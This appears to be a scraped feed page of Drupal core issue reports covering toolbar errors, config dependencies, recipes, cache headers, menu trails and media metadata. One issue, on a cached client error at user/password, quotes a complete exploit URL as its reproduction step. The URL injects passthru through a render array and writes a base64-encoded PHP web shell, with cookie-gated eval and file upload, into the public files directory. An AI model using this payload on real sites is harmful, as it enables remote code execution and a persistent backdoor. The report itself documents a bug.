Quantcast
Channel: Issues for Drupal core
Viewing all 292924 articles
Browse latest View live

Uncaught TypeError: document.querySelector is null

$
0
0

Problem/Motivation

After upgrading to drupal core 10.1.x that is many errors in the console like

Uncaught TypeError: document.querySelector(...) is null
and

    Uncaught TypeError: Drupal.toolbar is undefined
    <anonymous> http://ah-vetportal.docker.amazee.io/core/modules/toolbar/js/models/MenuModel.js?v=10.1.8:14
    <anonymous> http://ah-vetportal.docker.amazee.io/core/modules/toolbar/js/models/MenuModel.js?v=10.1.8:29

And this makes the toolbar misplaced.
It seems that inside the Toolbar.js file, there is a missing class 'toolbar-oriented' in the toolbar:

if (isOriented) {
      document
        .querySelector('#toolbar-administration')
        .classList.add('toolbar-oriented');
    }

I could reproduce this issue using landing pages builder with layout builder.
But also document.querySelector('#toolbar-administration').classList.add('toolbar-oriented') is giving null using Claro admin theme.

Steps to reproduce

Proposed resolution

Remaining tasks

User interface changes

API changes

Data model changes

Release notes snippet


"A client error happened" on Forget password due to malicious request attempt to a Drupal-based website and response is getting cached.

$
0
0

The error occurs when the cache is rebuilt and just after that the attempt to make the malicious request attempt to a Drupal-based website on the user/password page

The error is coming at the place of content of the page keeping header and footer.

The error can be replicated by hitting the following URL in the Browser:

https://example.com/user/password?name[%23post_render][0]=passthru&name%5B%23markup%5D=mv+-f+sites%2Fdefault%2Ffiles%2F.htaccess+sites%2Fdefault%2Ffiles%2F.hatccess%3Becho+PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFW2RdKT09IjE3MDI4ZjQ4N2NiMmE4NDYwNzY0NmRhM2FkMzg3OGVjIil7ZWNobyJvayI7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFtpZF0pKTtpZigkX1BPU1RbInVwIl09PSJ1cCIpe0Bjb3B5KCRfRklMRVNbImZpbGUiXVsidG1wX25hbWUiXSwkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSk7fX0%2FPg%3D%3D%7Cbase64+--decode%7Ctee+sites%2Fdefault%2Ffiles%2F99a51f380ecf.php

Steps To reproduce the issue:

**Drupal versions- 10.1.8, 10.2.2, 10.2.6, 10.2.7, PHP versions - 8.1, 8.2, 8.3**

1. Clear Site Cache.
2. Hit malicious URL with a query parameter, like ( URL: https://example.com/user/password?name[%23post_render][0]=passthru)
3. Getting Response 400 (A client error happened)
4. After that refresh the page or Hit the Right URL in another tab, like ( URL: https://example.com/user/password )
5. Getting response 400 (even after hitting the right URL)

This error can be resolved by clearing the cache or using any query parameter in the URL.

This issue is occurring only on sites that don't have any CDN.

Error coming in the log is

Symfony\Component\HttpKernel\Exception\BadRequestHttpException: Input value "name" contains a non-scalar value. in Symfony\Component\HttpKernel\HttpKernel->handle() (line 83 of /var/www/html/vendor/symfony/http-kernel/HttpKernel.php).

[Config] Warning: Entity view display 'node.article.default': Component 'comment' was disabled because its settings depend on removed dependencies.

$
0
0

Problem/Motivation

After doing a recent installation of Drupal 9.4.5, we came across the following problem and error message when browsing at:
Comment: Type Comment, Manage default display page: /admin/structure/comment/manage/comment/display
Config: core.entity_view_display.comment.comment.default

Error message displayed in logs at: /admin/reports/dblog

Type: system
Message	Entity view display 'node.article.default': Component 'comment' was disabled because its settings depend on removed dependencies.
Severity: Warning

 
Tested with:

  • Drupal core: 9.4.5 Standard installation profile
  • PHP 7.4

 
Problem: Unfortunately, as a result, the Comment field is disabled when displaying Article Nodes (Hidden).

Steps to reproduce

So the steps to reproduce should be quite straight forward:
1 - Install a new site with the Standard profile.
2 - Browse to Comment/Comment manage display: /admin/structure/comment/manage/comment/display
3 - Check error logs: /admin/reports/dblog

Initial investigation

After doing an initial investigation, the error message would seem to come from the following piece of code:
https://git.drupalcode.org/project/drupal/-/blob/9.4.5/core/lib/Drupal/C...

          // If there are unresolved deleted dependencies left, disable this
          // component to avoid the removal of the entire display entity.
          if ($this->getPluginRemovedDependencies($renderer->calculateDependencies(), $dependencies)) {
            $this->removeComponent($name);
            $arguments = [
              '@display' => (string) $this->getEntityType()->getLabel(),
              '@id' => $this->id(),
              '@name' => $name,
            ];
            $this->getLogger()->warning("@display '@id': Component '@name' was disabled because its settings depend on removed dependencies.", $arguments);
            $changed = TRUE;
          }

It would seem a lot of this code relates to issue: #2562107-77: EntityDisplayBase should react on removal of its components dependencies.

After doing some basic debugging, breaking at this point in code resulted in the following stack trace:

array:55 [▼
0 => array:7 [▼
"file" => "/web/core/lib/Drupal/Core/Config/ConfigManager.php""line" => 497
"function" => "onDependencyRemoval""class" => "Drupal\Core\Entity\EntityDisplayBase""object" => Drupal\Core\Entity\Entity\EntityViewDisplay {#2650 ▶}
    "type" => "->""args" => array:1 [▶]
  ]
  1 => array:7 [▼
    "file" => "/web/core/lib/Drupal/Core/Config/ConfigManager.php""line" => 360
    "function" => "callOnDependencyRemoval""class" => "Drupal\Core\Config\ConfigManager""object" => Drupal\Core\Config\ConfigManager {#857 ▶}
    "type" => "->""args" => array:4 [▶]
  ]
  2 => array:7 [▼
    "file" => "/web/core/modules/user/src/Form/EntityPermissionsForm.php""line" => 88
    "function" => "getConfigEntitiesToChangeOnDependencyRemoval""class" => "Drupal\Core\Config\ConfigManager""object" => Drupal\Core\Config\ConfigManager {#857 ▶}
    "type" => "->""args" => array:2 [▶]
  ]
  3 => array:7 [▼
    "file" => "/web/core/modules/user/src/Form/EntityPermissionsForm.php""line" => 173
    "function" => "permissionsByProvider""class" => "Drupal\user\Form\EntityPermissionsForm""object" => Drupal\user\Form\EntityPermissionsForm {#2057 ▶}
    "type" => "->""args" => []
  ]
  4 => array:5 [▼
    "function" => "access""class" => "Drupal\user\Form\EntityPermissionsForm""object" => Drupal\user\Form\EntityPermissionsForm {#2057 ▶}
    "type" => "->""args" => array:3 [▶]

    ...

 
Mostly, with this chain of calls:

[... Multiple calls before ...]
Drupal\user\Form\EntityPermissionsForm:permissionsByProvider
Drupal\Core\Config\ConfigManager:getConfigEntitiesToChangeOnDependencyRemoval
Drupal\Core\Config\ConfigManager:callOnDependencyRemoval
Drupal\Core\Entity\EntityDisplayBase:onDependencyRemoval

 
The code of these functions seems to be related to #2850973: ConfigEntityInterface::onDependencyRemoval() called with incorrect dependency list.
 
In short, the reason the problem happens is because:
When the Manage Display Comment page is displayed, a list of all config depending on 'comment.type.comment' is created.
Since the default display of comments 'core.entity_view_display.comment.comment.default' depends on 'comment.type.comment' and since 'core.entity_view_display.node.article.default' depends on 'core.entity_view_display.comment.comment.default' it is also added to the list of dependencies.
core.entity_view_display.node.article.default > core.entity_view_display.comment.comment.default > comment.type.comment
 
The affected "cross" dependency is due to the fact the Node, type Article, default display 'core.entity_view_display.node.article.default' uses the default comment formatter (to display the Comment field), which points to the default display of the Comment, type Comment 'core.entity_view_display.comment.comment.default', see:
https://git.drupalcode.org/project/drupal/-/blob/9.4.5/core/modules/comm...
In particular lines around 270:

        if ($display = EntityViewDisplay::load("comment.$bundle.$mode")) {
          $dependencies[$display->getConfigDependencyKey()][] = $display->getConfigDependencyName();
        }

 
From a logic perspective it certainly makes sense to allow the default comment formatter, and Plugins in general to react to configuration changes on Entity Displays.
For example, it would probably make sense adding a specific handling case for the default comment formatter: Drupal\comment\Plugin\Field\FieldFormatter\CommentDefaultFormatter:onDependencyRemoval, to check whether the referenced display still exists and capture any changes to the settings, much like it's currently done for the 'ImageFormatter', see:
https://git.drupalcode.org/project/drupal/-/blob/9.4.5/core/modules/imag...
 

Work-around/Temporary solution

Note the problem can be fixed temporarily by removing the config dependency either programmatically, or by importing the modified config through the backend (at '/admin/config/development/configuration/single/import/') or from its file (edit file 'config/sync/core.entity_view_display.node.article.default.yml', remove the line 'core.entity_view_display.comment.comment.default' under 'config' and import).
But of course the config is added back the next time the Node Article display 'core.entity_view_display.node.article.default' is saved.
 
Lastly, since we're really unsure how to approach the problem and the config dependency system seems to have a lot of moving parts, we found the following issues that could potentially be related or where some work is carried around Plugins 'getPluginRemovedDependencies' and 'getPluginRemovedDependencies':

 

We would greatly appreciate to have your feedback and more particularly, if anyone would have any pointers or guidance on what could be the best approach to finding a solution to the problem.
Feel free to let us know if you have any questions, if anything is unclear or if more information would be needed, we would surely be glad to help.
Thanks in advance.

user_filters() shows module and permission machine names rather than their human-readable labels, and tries to translate them

$
0
0
    if ($permissions = $function('permission')) {
      asort($permissions);
      foreach ($permissions as $permission => $description) {
        $options[t('@module module', array('@module' => $module))][$permission] = t($permission);
      }

$permission and $module are the permission and module machine names. We don't show that anywhere else in the UI, so we shouldn't show it here.

Furthermore, we shouldn't be trying to translate it!

hook_permission() provides us with the $description['label'], which comes already translated.

Mark layout_builder.settings fully validatable

$
0
0

Problem/Motivation

#3043330: Reduce the number of field blocks created for entities (possibly to zero) just landed and added a new layout_builder.settings config. It contains a single key-value pair. And that's a boolean. So … it needs no validation, it just needs to be marked as fully validatable 🥳

(Note: if #3422641: Add a "Validatable config" tests job to GitLab CI to help core evolve towards 100% validatability had landed, then that CI job would've automatically detected that we're getting a lower ratio of validatable config.)

Steps to reproduce

N/A

Proposed resolution

Just mark it as fully validatable 🥳

Remaining tasks

None.

User interface changes

None.

API changes

None.

Data model changes

None.

Release notes snippet

None.

Uncheck block "display title" by default

$
0
0

Problem/Motivation

While watching the driesnote in Vienna, a few of us noticed for each blockcertain blocks such as user login block placed the hide title was unchecked while placing a block.

Steps to reproduce

1. go to admin/structure/block
2. Place Block to (e.g.) Content area
3. Place the User login block
4. Display title -checkbox is CHECKED

When posted see the video for reference (placeholder):
https://events.drupal.org/vienna2017/driesnote

Watch the "DrupalCon Vienna 2017: Driesnote" video on this issue from here:

https://youtu.be/viNU2wOKIUk?t=48m31s

Notice specifically how Dries deselects the "Display Title" checkbox for the "Latest Breakfast" block (48:53) and for the "Latest Dessert" block (49:07)

Proposed resolution

Disable the "Display title" checkbox by default.

Issue #2614950: Add option for visually-hidden block titles aims to address accessibility improvements, and those are out-of-scope of this issue per accessibility review done by @andrewmacpherson and noted by @ifrik.

Screenshots

Display title checkbox is unchecked by default

Remaining tasks

User interface changes

The checkbox will be disabled by default.

API changes

None

Data model changes

Shortcut links without a title cause deprecation notices

$
0
0

Problem/Motivation

When using PHP 8.1 the following warnings are displayed/logged.

Deprecated function: strnatcasecmp(): Passing null to parameter #2 ($string2) of type string is deprecated in Drupal\shortcut\Entity\Shortcut::sort() (line 186 of core/modules/shortcut/src/Entity/Shortcut.php).
Drupal\shortcut\Entity\Shortcut::sort(Object, Object)
uasort(Array, Array) (Line: 128)
Drupal\shortcut\Entity\ShortcutSet->getShortcuts() (Line: 208)
shortcut_renderable_links() (Line: 47)
Drupal\shortcut\ShortcutLazyBuilders->lazyLinks()
call_user_func_array(Array, Array) (Line: 101)

Steps to reproduce

  1. Go to a page without a title
  2. The shortcut icon is there
  3. Add shortcut
  4. See title is empty

Proposed resolution

Prevent passing in NULL by converting to string by saving a default value

Remaining tasks

Review

User interface changes

Before

before

After

after

API changes

Data model changes

NA

Release notes snippet

NA

Olivero: Incorrect positioning of close button on mobile device when navigation module is enabled.

$
0
0

Problem/Motivation

The mobile navigation button position is incorrect when navigation is expanded.

Steps to reproduce

1. Enable navigation module
2. Go to mobile/tablet screensize
3. Expand the navigation sidebar
4. Expand the right sidebar menu
5. See the position of menu button
6. See the screenshot for reference

Proposed resolution

Width of the container .site-header__inner__container is calculated incorrectly from layout.css and need to be overridden.

Remaining tasks

User interface changes

Before

After:

API changes

Data model changes

Release notes snippet


The "<varying words>" plugin does not exist

$
0
0

Problem/Motivation

I am using Drupal 10.2.5 and PHP 8.3.6 on Ubuntu 22.04.

My website suddenly no longer displays properly since last night and only displays the following message:

Drupal\Component\Plugin\Exception\PluginNotFoundException: The "" plugin does not exist. Valid plugin IDs for Drupal\Core\Display\VariantManager are: in Drupal\Core\Plugin\DefaultPluginManager->doGetDefinition() (line 53 of core/lib/Drupal/Component/Plugin/Discovery/DiscoveryTrait.php).

Those "varying words" were initially "text_default" and became "language", "block_page", etc. when I tried to resolve the issue according to past posts here.

Steps to reproduce

Many past posts here on similar issues have been read. They were basically related to Drupal 8 or 9. I am now using Drupal 10. Those issues have been closed for quite some time. The solutions posted have been tried by me but without success. Such solutions are: using drush updatedb, drush eval "drupal_flush_all_caches();", drush cr, etc. or editing the codes.

I had restored once the website and mysql database based on 7 April 2024 backups. It worked.

But after I have done composer update -W, drush updatedb, and drush cr, the above message appears again.

Proposed resolution

I guess that the updates since 7 April 2024 might be the cause of the problem.

I would restore the old backup again for temporary use.

I am looking for help to resolve the issue.

Thanks!

Remaining tasks

User interface changes

API changes

Data model changes

Release notes snippet

It is impossible to disable a block from the block configuration edit page

$
0
0

Problem/Motivation

It is impossible to disable a block from the block configuration edit page; you need to go to the Block layout listing (/admin/structure/block) to select "Disable" from the dropdown options there.

Anything that affects a block's configuration should be doable from the individual block Configure block page (/admin/structure/block/manage/exampleblock)— this would be anybody's expectation. And indeed this is the case for translating the block (available as the tab "Translate block") and removing the block (available as the button "Remove block").

Proposed resolution

Add a button "Disable block" between "Save block" and "Remove block" or turn "Remove block" into a dropdown button with "Disable block" and "Remove block".

Remaining tasks

This problem shows up in contrib fairly often too; there may be a deeper layer in core than the Block module that this can be fixed. In any case the solution should be documented.

User interface changes

A new button is added (either on its own or as part of a dropdown)

A "This block is enabled" boolean toggle is also an option but this makes more sense as a button.

API changes

None.

Data model changes

None.

Release notes snippet

Blocks can now be disabled form individual "Configure block" pages. If your module provides configuration that can be disabled, not only deleted, it is recommended to follow the same practice.

FinishResponseSubscriber: Need warning/error when headers exceed 16k

$
0
0

Problem/Motivation

Drupal 8 can send HTTP headers up-to 16kb.
https://www.drupal.org/docs/8/api/cache-api/cache-tags

Downstream systems are being updated to support this. If Drupal sends a request that exceeds 16k the downstream systems will fail with inconclusive errors. For example Varnish will return "HTTP/1.1 502 Bad Gateway." Very few people will be able to debug this sort of situation. We recently encountered a situation with a 50k header!

If a request has too many cache-tags associated with it the header size could exceed 16kb. When this occurs Drupal should provide feedback. Some possible approaches:

  1. Throw a 50x error.
  2. Log an error but allow the request through.

My gut is that this should be treated like an out of memory exception at PHP and be made obvious? Thoughts?

Steps to reproduce

Enable http.response.debug_cacheability_headers: true and llok for a page with many related cache tags so the X-Drupal-Cache-Tags header is larger than 8K.

Proposed resolution

Limit X-Drupal-Cache-Tags and X-Drupal-Cache-Contexts headers to 8K. If any header is bigger than that split the value into different header with an autoincrement: X-Drupal-Cache-Contexts-1, X-Drupal-Cache-Contexts-2 and so on.

Remaining tasks

  • Add tests Tests added
  • (Optional) Decide if this should also applied to other headers as well

User interface changes

None.

API changes

None.

Support NULL services

$
0
0

Problem/Motivation

If a service is NULL you get an error: ReverseContainer::generateServiceIdHash(): Argument #1 ($object) must be of type object, null givenSymfony supports optional dependencies so we should too.

Steps to reproduce

  1. Make a service that uses a factory.
  2. Have the factory return NULL for the service.
  3. Clear caches or install a module or do something to rebuild the container.

Proposed resolution

Remove NULL services before recording the container.

Don't hide permissions local tasks on bundles when no permissions are defined

$
0
0

Problem/Motivation

Follow-up from #3344789: Return early in EntityPermissionsForm::access if the user does not have "administer permissions".

We could drop the check for whether there are permissions or not entirely from the access check, and just show a short message on the page when no permissions for a bundle are defined.

The UX regression of showing a somewhat useless tab, is better than the regression of multi-second page loads with admin_toolbar module and etc.

Steps to reproduce

Proposed resolution

Remaining tasks

User interface changes

API changes

Data model changes

Release notes snippet

GD toolkit & operations should fail gracefully in case of memory issues

$
0
0

Problem/Motivation

Follow up for #2583041: GD toolkit & operations should catch \Throwable to fail gracefully in case of errors.

In some PHP configurations, executing something like this

      $test = \Drupal::service('image.factory')->get(NULL, 'gd');
      $test->createNew(20000, 20000);

leads to a fatal error

PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 80000 bytes) in /[...]/core/modules/system/src/Plugin/ImageToolkit/Operation/gd/CreateNew.php on line 94

and WSOD.

This is because GD imagexxx functions do not return gracefully in case of memory allocation failures.

Proposed resolution

Remaining tasks

User interface changes

API changes

Data model changes

Add a /recipes folder

$
0
0

Problem/Motivation

The recipe runner should look for recipes in /recipes as we should store all recipes in a single location so dependent recipes are found.

Proposed resolution

Add the folder and a README.txt

Remaining tasks

Doing it.


Add void return typehints to protected test helper methods

$
0
0

Problem/Motivation

See #3455549: Add return typehints to protected test helper methods

Steps to reproduce

Proposed resolution

Use \Rector\TypeDeclaration\Rector\ClassMethod\AddVoidReturnTypeWhereNoReturnRector to add void return type to protected test methods. This rule may need manipulating to skip public methods.

private function shouldSkipClassMethod(ClassMethod $classMethod) : bool
{
    // Add this to skip public methods.
    if ($classMethod->isPublic()) {
        return \true;
    }
     
    // The rest of the method body remains here ...

    //  Comment out this bit.
    // if ($classMethod->isProtected()) {
    //     return !$this->classModifierChecker->isInsideFinalClass($classMethod);
    // }

    return $this->classModifierChecker->isInsideAbstractClass($classMethod) && $classMethod->getStmts() === [];
}

Remaining tasks

User interface changes

API changes

Data model changes

Release notes snippet

Add support for recipes to drupal/recommended-project

$
0
0

Problem/Motivation

Now that recipes are in core, we need to update the drupal/recommended-project composer template so users can require recipes using composer.

Proposed resolution

1. Add a drupal-recipe installer type.

We are going to need this until https://github.com/composer/installers/pull/534 is merged. It doesn't look like a very active project.

Its been merged and a new release has been cut.

2. Add an installer-path for drupal-recipe

Remaining tasks

Merge request added.

User interface changes

N/A

API changes

N/A

Data model changes

N/A

Release notes snippet

N/A

[regression] missing menu active trail in Drupal 9.5.9

$
0
0

Problem/Motivation

Since #3277784: copyRawVariables should support default route parameters menu active trail information is missing from menu items under certain circumstances. In my case I've got a view with a path and menu entry and the rendered menu item no longer sets in_active_trail to TRUE when accessing the view on a page with the menu.

This issue is broken out from a different regression: #3358402: [regression] route defaults are now automatically route parameters. There a few relevant comments there:

Comment from @znerol:

I think that $this->routeMatech->getRawParameters()->all() returns a different set of key-value pairs which in turn leads to an empty result from $this->menuLinkManager->loadLinksByroute() in MenuActiveTrail::getActiveLink():

  public function getActiveLink($menu_name = NULL) {
    [...]
      $route_parameters = $this->routeMatch->getRawParameters()->all();

      // Load links matching this route.
      $links = $this->menuLinkManager->loadLinksByRoute($route_name, $route_parameters, $menu_name);
      // Select the first matching link.
      if ($links) {
        $found = reset($links);
      }
    [...]
  }

Comment from @lisotton:

I have some routes that share the same Controller and Action, but in the route declaration it declares default parameters. For example I have the route mymodule.news_list (/news) which have the controller ListPageController::entryPoint with a default parameter called type with value news-list. Then I have another route called mymodule.articles_list (/articles) which shares the same controller, but the default parameter type with value articles-list.

Before when I was calling \Drupal::service('plugin.manager.menu.link')->loadLinksByRoute('news_list'), without any second second parameter (route params), it was returning me the menu links, but with the change in 9.5.9, I'm enforced to call \Drupal::service('plugin.manager.menu.link')->loadLinksByRoute('news_list', ['type' => 'news-list').

For me this broke many small things, like breadcrumbs, custom menu blocks, etc.

Steps to reproduce

  1. Log in as admin.
  2. Navigate to /admin/structure/views/add.
  3. Add a view with options:
    • View name: Site content
    • Create a page: checked
    • Create a menu link: checked
    • Menu: Main navigation
    • Navigate to /site-content.
    • Inspect "Site content" main navigation item with browser tools and confirm class primary-nav__menu-link--active-trailis not present on a element.
    • Revert changes from #3277784: copyRawVariables should support default route parameters (or just comment out core/lib/Drupal/Core/Routing/Enhancer/ParamConversionEnhancer.php#L71-75).
    • Rebuild caches.
    • Navigate to /site-content.
    • Inspect "Site content" main navigation item with browser tools and confirm class primary-nav__menu-link--active-trailis present on a element.

    Proposed resolution

    In MenuTreeStorage::loadByRoute() also query without any default route parameters as they may not be present in the computed route_param_key.

    Remaining tasks

    Address @todo in MenuAccessTest::testSystemAdminMenuBlockAccessCheck() referencing this issue.

    Expose triggering update of media metadata + thumbnail to end users

    $
    0
    0

    Problem/Motivation

    It's currently impossible for end-users to manually pull metadata associated with media assets from the source into the Drupal media entity, after the entity is created. Similarly, the Thumbnail (which is not a metadata per se) is treated the same way, it is currently only retrieved from the source when the entity is first created.

    Several scenarios have shown this is a big limitation, being a prominent example the situation when the source providing the thumbnail is remote (like an YouTube video), and the thumbnail is changed on the remote source after the entity has been created in Drupal. Currently there is no mechanism for users to update the Thumbnail in this scenario. The same is valid for all other metadata attributes that source plugins could define (name, filesize, filemime, width, height, etc).

    This issue was spun-off from #2878119: Whether queued or not, update the media thumbnail and metadata before beginning the entity save database transaction.

    Proposed resolution

    Expose to the UI the possibility of end users with correct permissions to trigger an immediate update of the asset's metadata + thumbnail

    Remaining tasks

    • Usability re-review

    User interface changes

    - New contextual link "Update metadata" is available in the front-end

    contextual link

    - New operation dropbutton "Update metadata" is available in the back-end

    dropbutton

    - New "Update metadata" action is available in media administrative views, as a bulk operation.

    bulk action

    API changes

    A new public method \Drupal\media\MediaInterface::updateMetadata() is added to the Media interface.

    Data model changes

    None

    Release notes snippet

    Adds the ability for users to manually trigger updating metadata on media entities (e.g. updating a more recent YouTube thumbnail).

    "Unsaved changes" message incorrectly appears on layout builder

    $
    0
    0

    Problem/Motivation

    After the initial load of a layout builder edit page (either per-entity overrides or the per-display defaults), any subsequent visits to the page will trigger a "You have unsaved changes" message, even when no changes have been made.

    (this bug was introduced by #3144010: New pseudo-fields cannot be removed, InvalidArgumentException thrown)

    Steps to reproduce

    Scenario 1:

    1. Enable layout builder for a content type.
    2. Click the "Manage layout" link.
    3. Refresh the page.

    Scenario 2:

    1. Enable layout builder for a content type, and allow each content item to have its layout customized.
    2. Create a node.
    3. Click the "Layout" tab.
    4. Refresh the page.

    Actual result: "You have unsaved changes" message appears.
    Expected result: The message should not appear, since there are no unsaved changes.

    Proposed resolution

    Update LayoutTempstoreRepository so that it can explicitly keep track of whether any given SectionStorage in the repository has unsaved changes.

    Remaining tasks

    Review

    User interface changes

    The "You have unsaved changes" message will only appear when you have unsaved changes

    API changes

    LayoutTempstoreRepositoryInterface has a new public hasUnsavedChanges() function. Note that this interface has a one-to-one correspondence with the LayoutTempstoreRepository class, so we can add functions without breaking any BC rules.

    In addition, LayoutTempstoreRepositoryInterface::set() has a new optional boolean argument called $has_unsaved_changes, which is used to track whether there are unsaved changes in the SectionStorage being set.

    Data model changes

    N/A

    Release notes snippet

    N/A

    Viewing all 292924 articles
    Browse latest View live


    <script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>